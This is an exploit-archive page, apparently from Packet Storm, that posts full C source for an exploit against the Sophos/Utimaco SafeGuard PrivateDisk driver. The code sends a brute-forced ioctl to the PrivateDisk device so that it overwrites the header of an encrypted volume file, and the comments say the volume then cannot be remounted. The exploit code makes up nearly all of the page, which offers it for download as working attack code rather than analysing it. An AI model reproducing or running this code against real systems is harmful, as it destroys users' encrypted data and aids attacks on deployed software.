exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

SafeGuard PrivateDisk Write Header Exploit

SafeGuard PrivateDisk Write Header Exploit
Posted Jan 10, 2011
Authored by mu-b | Site digit-labs.org

Utimaco Safeware AG (Sophos) - SafeGuard PrivateDisk write header exploit.

tags | exploit
SHA-256 | 1e3f4f9002060bdd27687a5a75156ba9e77ae6df6adcf2b214498db52103d9d7

SafeGuard PrivateDisk Write Header Exploit

Change Mirror Download
/* safeguard-pdisk-write-header.c
*
* Copyright (c) 2008 by <mu-b@digit-labs.org>
*
* Utimaco Safeware AG (Sophos) - SafeGuard PrivateDisk write header exploit
* by mu-b - Wed 05 Mar 2008
*
* - Tested on: privatediskm.sys 2.2.0.16
* (<= Utimaco Safeware AG (Sophos) - SafeGuard PrivateDisk 2.0)
* privatediskm.sys
* (<= Sophos - SafeGuard PrivateDisk 2.3)
*
* This exploit 'tunnels' an ioctl request to the mounted volume device
* for the volume file given in the argument, the request will forcibly
* overwrite the header of volume file (the first 0x11000 bytes). When
* the device is unmounted by the user it will become _impossible_ to
* remount the device.
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
*/

#include <stdio.h>
#include <stdlib.h>

#include <windows.h>
#include <ddk/ntapi.h>

#define SGPD_WRITE_HEADER_IOCTL 0x0007201C
#define SGPD_MAX_SESSION_ID 0xFFFFF

struct ioctl_req {
int session_id;
char volume_buf[0x200];
char header_buf[0x11000];
};

int
main (int argc, char **argv)
{
struct ioctl_req req;
DWORD i, j, rlen;
CHAR buf[0x100];
HANDLE hFile;
BOOL result;

printf ("Utimaco Safeware AG - SafeGuard PrivateDisk write header exploit\n"
"by: <mu-b@digit-labs.org>\n"
"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

if (argc <= 1)
{
fprintf (stderr, "Usage: %s <volume file>\n", argv[0]);
exit (EXIT_SUCCESS);
}

hFile = CreateFileA ("\\\\.\\PrivateDisk", GENERIC_READ,
FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
exit (EXIT_FAILURE);
}

memset (buf, 0, sizeof buf);
strncpy (buf, argv[1], sizeof buf - 1);

for (i = 0, j = 0; i < sizeof req.volume_buf - 4; i += 2, j++)
{
req.volume_buf[i] = buf[j];
req.volume_buf[i+1] = 0x00;
}

memset (&req.header_buf, 0x69, sizeof req.header_buf);

for (i = 0; i < SGPD_MAX_SESSION_ID; i++)
{
req.session_id = i;

result = DeviceIoControl (hFile, SGPD_WRITE_HEADER_IOCTL,
&req, sizeof req,
&req, sizeof req, &rlen, 0);
if (result)
{
printf ("* found, session_id: %d, volume name: %s", i, buf);
break;
}

if (!(i % 64))
{
printf ("* trying session_id: %d\r", i);
}
}
printf ("\n* done\n");

CloseHandle (hFile);

return (EXIT_SUCCESS);
}
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close